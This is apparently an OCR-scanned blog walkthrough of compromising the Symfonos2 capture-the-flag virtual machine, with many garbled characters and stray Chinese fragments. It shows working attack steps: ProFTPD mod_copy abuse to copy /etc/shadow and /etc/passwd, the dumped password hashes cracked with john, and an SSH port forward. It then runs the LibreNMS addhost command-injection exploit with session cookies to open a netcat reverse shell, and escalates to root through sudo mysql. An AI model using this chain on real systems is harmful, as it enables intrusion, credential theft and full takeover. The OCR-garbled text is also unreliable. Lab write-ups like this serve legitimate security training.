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47 Captured ARP Req/Rep packets, from 4 hosts. Total size: 2820

At MAC Address Count MAC Vendor / Hostname

00:50:56:c0:00:08 VMware,
00:50:56:ff:6c:8b VMware,
00:0c:29:2c:65:58 VMware,
00:50:56:ee:54:dd VMware, Inchtips:/blog.csdn.netiiajiajiang_
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:~# nmap -sV -p- 10.0.3.148
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-27 ©3:38 EDT

Nmap scan report for 10.6.3.148

Host is up (9©.00084s latency).

Not shown: 65538 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5

22/tcp open ssh OpenSSH 7.4pl Debian 1@+deb9ué (protocol 2.8)
80/tcp open http WebFS httpd 1.21
139/tcp open netbios-ssn Samba smbd 3.X -
445/tcp open netbios-ssn Samba smbd 3.X -
MAC Address: ©0:0C:29:2C:65:58 (VMware)
Service Info: Host: SYMFONOS2; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

(workgroup: WORKGROUP)

4.X
4.X (workgroup: WORKGROUP)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.61 seconds https://blog.csdn.netlJiajiaji
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# smbclient //10.0.3.148/anonymous
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.

smb: \> cd backups

smb: \backups\> 1s
. D ©@ Thu Jul 18 10:25:17 2019
.. D @ Sun Apr 26 23:15:03 2020
log.txt \ 11394 Thu Jul 18 10:25:16 2019

19728000 blocks of size 1024. 16301004 blocks available
smb: \backups\> | hitps://blog.csdn.net/Jiajiajiang_
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smb: \backups\> get log.txt
getting file \backups\log.txt of size 11394 as log.txt (741.8 KiloBytes/sec) (average 741.8 KiloBytes/sec)

Bk, Kk ¥ishadow’s i T backups

# cat log.txt
root@symfonos2:~# cat /etc/shadow > /var/backups/shadow.bak

root@symfonos2:~# cat /etc/samba/smb.conf

FFHProFTPD 1.3.5/ 3% Ui



# ftp 10.0.3.148
Connected to 10.0.3.148.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.0.3.148]
Name (1©.0.3.148:root):
331 Password required for root
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
CPFR <sp> pathname
CPTO <sp> pathname
HELP
CHGRP
CHMOD
214 Direct comments to root@symfonos2
ftp> site cpfr /var/backups/shadow.bak
350 File or directory exists, ready for destination name
ftp> site cpto /home/aeolus/share/shadow.txt
250 Copy successful
ftp> quit
221 Good bye ) https://blog.csdn.net/Jiajiajiang_
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root: $6$VTFtENaZ$ggY84BSFETwhissvONemt2VaQNIke /HzwwmTtVkDt ThbCbqofFO8MVIW . TcOKTzuI@7m36uy9.565qelr/beHer. : 18095:0:99999:7: : &
daemon:*:18895:0:99999:7:::

bin:*:18095:0:99999:7:::

sys:¥:18@95:0:99999:7:::

sync:*:18095:0:99999:7:::

games:*:18095:0:99999:7:::

man:*:18095:0:99999:7:::

1p:*:18095:0:99999:7:::

mail:*:18095:©:99999:7:::

news:*:18095:0:99999:7:::

uucp:*:18095:09:99999:7: ::

proxy:*:186095:0:99999:7:::

www-data:*:18095:0:99999:7:::

backup:*:18095:0:99999:7:::

1ist:*:18095:0:99999:7:::

irc:¥:180@95:0:99999:7:::

gnats:*:18095:0:99999:7:::

nobody:*:18095:0:99999:7:::

systemd-timesync:*:18095:0:99999:7:::

systemd-network:*:18895:0:99999:7:::

systemd-resolve:*:18895:09:99999:7:::

systemd-bus-proxy:*:18095:0:99999:7:::

_apt:*:18095:0:99999:7:::

Debian-exim:!:18095:9:99999:7:::

messagebus:*:18095:0:99999:7:::

sshd:*:18095:0:99999:7:::

aeolus:$635dgjUFE.¥$G.dIZCME. zKmIc9t4iiK9d723/bQ5KkE1ux7ucBoAg0s Thakmp .0iCljaobCntN3nCxsk4DLMy@qTn80DP1mLG. :18@95:0:99999:7:: :
cronus : $6$wOmUfiZ0$WajhRWpZyuHbjAbtPDQNR30VQeEKtZtYYE 1Womv9xZ L Ohz 7ALkHUT2Wp6cFFg1ul Cq495Yel5goXrol@SxU3D/ : 18@95:0:99999:7: : :
mysql:!:18095:0:99999:7:::

Debian-snmp:!:18095:0:99999:7:::

librenms:!:18095 hitps:/blog.csdn.net/Jiajiajiang_

# ftp 10.0.3.148
Connected to 10.0.3.148.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.0.3.148]
Name (10.0.3.148:root):
331 Password required for root

Password:

530 Login incorrect.

Login failed.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> site cpfr /etc/passwd

350 File or directory exists, ready for destination name
ftp> site cpto /home/aeolus/share/passwd

250 Copy successful

ftp> quit

221 Goodbye. https://blog.csdn.net/Jiajiajiang_

¥ shadow S Mipasswd U5 DRk, FilHunshadow 2 & — X g4~ 30

:~# unshadow passwd shadow > hash

:~# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha5l2crypt, crypt(3) $6$% [SHAS512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sergioteamo (aeolus)

AT BEIK 5 6 s ssh




# ssh aeolus@le.0.3.148
aeolus@l@.0.3.148"'s password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Mon Apr 27 ©1:01:39 2020 from 10.0.3.141

aeolus@symfonos2:~$% | ttpsiiblog.csdn.netiliajiajiang_

RIARTIRZ 64, JREnmapRBLT 4k & it O
aeolus@symfonos2:~$ nmap -sV -p- 127.0.0.1

Starting Nmap 7.40 ( https://nmap.org ) at 2020-84-27 ©3:36 CDT

Nmap scan report for localhost (127.8.8.1)

Host is up (©.000035s latency).

Not shown: 65527 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5

22/tcp open ssh OpenSSH 7.4pl Debian 1@+deb9ué (protocol 2.0)
25/tcp open smtp Exim smtpd

80/tcp open http WebFS httpd 1.21

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.1.38-MariaDB-0+deb9ul

808@/tcp open http Apache httpd 2.4.25 ((Debian))

Service Info: Host: SYMFONOS2; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.or
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds htty
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ssh -N -f -L 8080:127.0.0.1:8080 aeolus@10.0.3.148
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# searchsploit librenms

- Collectd Command Injection (Metasploit)
- addhost Command Injection (Metasploit)
- '"addhost' Remote Code Execution

Shellcodes: No Result

A, BRAOTHEEA (BOVEREROSCP, it bAx BUR & A Hmsf)
Fepy X5 DB H 3% (ATEAAEE)

#E %

# python 47044 .py
[!] Usage : ./exploit.py http://www.example.com cookies rhost rport

i Zcookies, FATEF T A G4 RIIX1~cookes, 1 flaeolus/sergioteamo sk
Zenc -lvp 5555
SRIG AT i %

:~# python 47044.py http://127.0.0.1:8080 "XSRF-TOKEN=eyJpdiI6IkU
2OWQwUFwvWWSNZGLCY1dQVnNiTFhnPT@iLCI2YWx1ZSIBITVNUFQzbXFoSjZBa28wbmh2Y jZ5dV
BFb@RWUE41bitNZUgwS1wvQXJwV1dEdThVVFNOWXIrc EdOWldxROxWUkpKMnpZOHpFNTFhQ3VpT
LM2bW1pNDZSUT@9IiwibWFjIjoiM2F1ZDE1ZGY3ZDQONWVIMzThMWU2Y ZM3Y jU2Y2MzNjNkYTcz
ZDIYyYmU3N2ViMzYXMDgxMT IKNWY4NWMwWNmMNLY1J9; librenms_session=eyJpdiI6IjFLd1]]
ZVImT3UrRTVDMW1YdDFOSHc9PSISInZhbHV1IjoiR@Inbm5RZ2hQZ jROZkxUb3 IwQBVRQNVNRGN
QeHNtZ1RrekQS0EVEUTNKZ2tclzc1QXdpbUwlUHNRVEhiRDdiNkpaSDFnaWZiR0xxdm51UzIzQn
FcL1BKZz@9IiwibWFjIjoiYmR1YTIwWNDM2ZNzYxYTcwMzc2YWQyMGMzMzEQZ jIXN2USNDNmZTecyZ

FhOTg3MmMzMmU3MjFLOTZkOTczZmFjNCI9; PHPSESSID=rf8hjgbugionerdm3epplh5gb2”
10.0.3.141 5555
[+] Device Created Sucssfully

AT LT

:~# nc -lvp 5555
listening on [any] 5555 ...
10.0.3.148: inverse host lookup failed: Unknown host
connect to [10.9.3.141] from (UNKNOWN) [10.0.3.148] 33042
gbin/sh: @: can't access tty; job control turned off
1s

$ id
uid=1001(cronus) gid=1001(cronus) groups=1081(cronus),999(1librenms)

HER

$ sudo -1
Matching Defaults entries for cronus on symfonos2:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/
usr/sbin\:/usr/bin\:/sbin\:/bin

User cronus may run the following commands on symfonos2:
(root) NOPASSWD: /usr/bin/mysql

sudo mysql -e '\! /bin/sh’



$ sudo mysql -e '\! /bin/sh’

id
uid=0(root) gid=0(root) groups=@(root)
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